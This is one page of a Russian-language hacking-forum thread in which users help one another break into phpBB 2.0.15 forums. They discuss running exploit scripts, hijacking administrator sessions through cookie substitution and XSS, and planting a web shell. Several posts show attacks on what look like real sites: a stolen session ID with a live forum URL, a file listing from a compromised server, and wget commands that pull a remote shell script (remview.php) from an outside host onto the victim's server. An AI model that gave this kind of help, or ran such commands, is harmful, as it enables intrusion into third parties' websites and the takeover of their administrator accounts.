Форумы Уязвимости форумов phpbb 2.0.15

Discussion in 'Уязвимости CMS/форумов' started by exbbxak, 30 Jun 2005.

Page 5 of 6
  1. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,547
    Likes Received:
    1,398
    Reputations:
    612
    в мозге.
     
    #81 GreenBear, 22 Jul 2005
  2. Vandal

    Vandal Elder - Старейшина

    Joined:
    10 Mar 2005
    Messages:
    207
    Likes Received:
    18
    Reputations:
    3

    Я бы попробывал бы сплойтом bbsh.exe , потом для версии 2,0,6 (см.видео) потом для 2,0,13 с подменой куков .
     
    #82 Vandal, 22 Jul 2005
  3. TIMaN

    TIMaN New Member

    Joined:
    20 Jul 2005
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Чет не выходит :( пишет:
    _ nom du cookie recuperer : phpbb2mysql
    _ SESSION ID recuperщ ... 70341aa785acbaa75ceda29eac9bddda
    http://mariel.ru/forum/?sid=70341aa785acbaa75ceda29eac9bddda
    _ recuperation du nom de la table sql ... can't find
    Пробовал ломануть через кук (видио Winux'a) внизу сылка на админку есть, а ник админа не уводит
    Пробовал через XSS, всталяю кук и тож ничего не происходит
     
    #83 TIMaN, 22 Jul 2005
  4. VARVAR

    VARVAR New Member

    Joined:
    3 Jun 2005
    Messages:
    39
    Likes Received:
    1
    Reputations:
    0
    #84 VARVAR, 22 Jul 2005
  5. Vandal

    Vandal Elder - Старейшина

    Joined:
    10 Mar 2005
    Messages:
    207
    Likes Received:
    18
    Reputations:
    3

    Что значит не уводит ?

    Ты в админку входиш там товй ип или прокся српава , а слева выделен админ и его логин .
     
    #85 Vandal, 22 Jul 2005
  6. TIMaN

    TIMaN New Member

    Joined:
    20 Jul 2005
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    В видео показано, что когда обновляешь, то заходишь под ником админа. А у меня написано "Вход". Я как-бы вылетаю.
    А внизу сылка на админку, чтоб в неё войти требуется ввести логин и пароль админа
     
    #86 TIMaN, 22 Jul 2005
  7. m0nzt3r

    m0nzt3r моня

    Joined:
    22 Jun 2004
    Messages:
    2,096
    Likes Received:
    673
    Reputations:
    591
    перевожу: форум не дырявый
     
    #87 m0nzt3r, 22 Jul 2005
  8. VARVAR

    VARVAR New Member

    Joined:
    3 Jun 2005
    Messages:
    39
    Likes Received:
    1
    Reputations:
    0
    m0nzt3r

    Понял, спасибо ! Я думал в сплойте ошибки.

    No fear

    Так впереди же привели исходники на перле. Даже два. Установи ActivePerl-5.8.6.811-MSWin32-x86-122208 и пробуй ! Почитай сначала help.
     
    #88 VARVAR, 23 Jul 2005
  9. T-REX

    T-REX New Member

    Joined:
    8 Sep 2004
    Messages:
    33
    Likes Received:
    0
    Reputations:
    0
    Тишина?
    Должно всё быть, проверь, не пропатчили форум.
     
    #89 T-REX, 23 Jul 2005
  10. VARVAR

    VARVAR New Member

    Joined:
    3 Jun 2005
    Messages:
    39
    Likes Received:
    1
    Reputations:
    0
    T-REXу

    А как проверить: пропатчили его или нет ?

    У меня по форумам опыта мало, но с IPB как не странно все получилось - главное чтоб
    сплойт работал !!!

    Попробовал еще штук 5 phpBB 2.0.15 - то же самое (не робит).
     
    #90 VARVAR, 23 Jul 2005
  11. T-REX

    T-REX New Member

    Joined:
    8 Sep 2004
    Messages:
    33
    Likes Received:
    0
    Reputations:
    0
    VARVAR, ну проверь ещё раз на уязвимость. Админы на месте не сидят.


    Нихрена не выходит.
    Сначала я создал каталог (mkdir shellys ), потом я поменял на него права (chmod 777 shellys ), перехожу в shellys с cd и заливаю туда шелл.
    Нихрена он туды не заливается. :mad:
     
    #91 T-REX, 23 Jul 2005
    Last edited: 23 Jul 2005
  12. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    Ты права менял не с nobody?
    Бывают и такие...)) Ты сначала посмотри свои права то...

    И че ты шелл заливал? Уж не wgetом ли?
    Проверь сначала, есть ли он вообще.
     
    #92 KEZ, 23 Jul 2005
    Last edited: 23 Jul 2005
  13. T-REX

    T-REX New Member

    Joined:
    8 Sep 2004
    Messages:
    33
    Likes Received:
    0
    Reputations:
    0
    Права менял просто chmod'ом.
    Свои права? Яж создал папку с 777 правами.
    Как раз wgetom, он есть ибо хелп к нему есть(наверно глупо?).

    Сказать могу одно, у меня точно такой же геморой, как и у чувака из видео (он там ещё по ICQ базарил :)).
     
    #93 T-REX, 23 Jul 2005
  14. m0nzt3r

    m0nzt3r моня

    Joined:
    22 Jun 2004
    Messages:
    2,096
    Likes Received:
    673
    Reputations:
    591
    он про твои права в системе =) id
     
    #94 m0nzt3r, 23 Jul 2005
  15. T-REX

    T-REX New Member

    Joined:
    8 Sep 2004
    Messages:
    33
    Likes Received:
    0
    Reputations:
    0
    Там написано uid=34951(site) gid=200(virthost) groups=200(virthost) Что это значит?
     
    #95 T-REX, 24 Jul 2005
  16. S_T

    S_T New Member

    Joined:
    18 Feb 2005
    Messages:
    16
    Likes Received:
    0
    Reputations:
    0
    Хто-то поскажет что моно делать с куками?
     
    #96 S_T, 28 Jul 2005
  17. T-REX

    T-REX New Member

    Joined:
    8 Sep 2004
    Messages:
    33
    Likes Received:
    0
    Reputations:
    0
    На стенку повесить :)
     
    #97 T-REX, 28 Jul 2005
  18. S_T

    S_T New Member

    Joined:
    18 Feb 2005
    Messages:
    16
    Likes Received:
    0
    Reputations:
    0
    жутко содержательно
     
    #98 S_T, 28 Jul 2005
  19. sector

    sector New Member

    Joined:
    9 Jul 2005
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    У меня вопррос все сработало , выдало следущее
    drwxr-xr-x 10 test wwwusers 1024 May 18 15:10 .
    drwxr-x--- 11 test wwwusers 512 Jun 17 12:02 ..
    drwxr-xr-x 2 test wwwusers 1024 May 14 01:04 admin
    drwxr-xr-x 2 test wwwusers 512 Mar 11 17:34 cache
    -rw-r--r-- 1 test wwwusers 6726 Feb 27 20:30 common.php
    -rw-r--r-- 1 test wwwusers 249 Mar 18 18:39 config.php
    drwxr-xr-x 2 test wwwusers 512 May 14 01:04 db
    drwxr-xr-x 2 test wwwusers 512 Mar 11 17:34 docs
    -rw-r--r-- 1 test wwwusers 810 Feb 27 20:30 extension.inc
    -rw-r--r-- 1 test wwwusers 3643 Feb 27 20:30 faq.php
    -rw-r--r-- 1 test wwwusers 45673 May 14 01:04 groupcp.php
    drwxr-xr-x 4 test wwwusers 1024 Feb 27 22:30 images
    drwxr-xr-x 2 test wwwusers 1024 May 14 01:04 includes
    -rw-r--r-- 1 test wwwusers 14515 Feb 27 20:30 index.php
    drwxr-xr-x 4 test wwwusers 512 May 14 01:04 language
    -rw-r--r-- 1 test wwwusers 7748 May 14 01:04 login.php
    -rw-r--r-- 1 test wwwusers 12150 Feb 27 20:30 memberlist.php
    -rw-r--r-- 1 test wwwusers 37796 May 14 01:04 modcp.php
    -rw-r--r-- 1 test wwwusers 34445 May 14 01:04 posting.php
    -rw-r--r-- 1 test wwwusers 72541 May 14 01:04 privmsg.php
    -rw-r--r-- 1 test wwwusers 3947 Feb 27 20:30 profile.php
    -rw-r--r-- 1 test wwwusers 43265 May 14 01:04 search.php
    drwxr-xr-x 4 test wwwusers 512 May 18 11:37 templates
    -rw-r--r-- 1 test wwwusers 23154 Feb 27 20:30 viewforum.php
    -rw-r--r-- 1 test wwwusers 7233 May 14 01:04 viewonline.php
    -rw-r--r-- 1 test wwwusers 45228 May 14 01:04 viewtopic.php

    пытался залить в templates wget http://sanyax.narod.ru/remview.php -o /temlates и ничего не закачивается и просто wget http://sanyax.narod.ru/remview.php и curl и lynx , подскажите что не так , я плохо разбираюсь в правах на папки может туда запрещено ?
     
    #99 sector, 28 Jul 2005
  20. T-REX

    T-REX New Member

    Joined:
    8 Sep 2004
    Messages:
    33
    Likes Received:
    0
    Reputations:
    0
    ты прав, туда нельзя.
     
    #100 T-REX, 29 Jul 2005
(You must log in or sign up to post here.)
Page 5 of 6
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.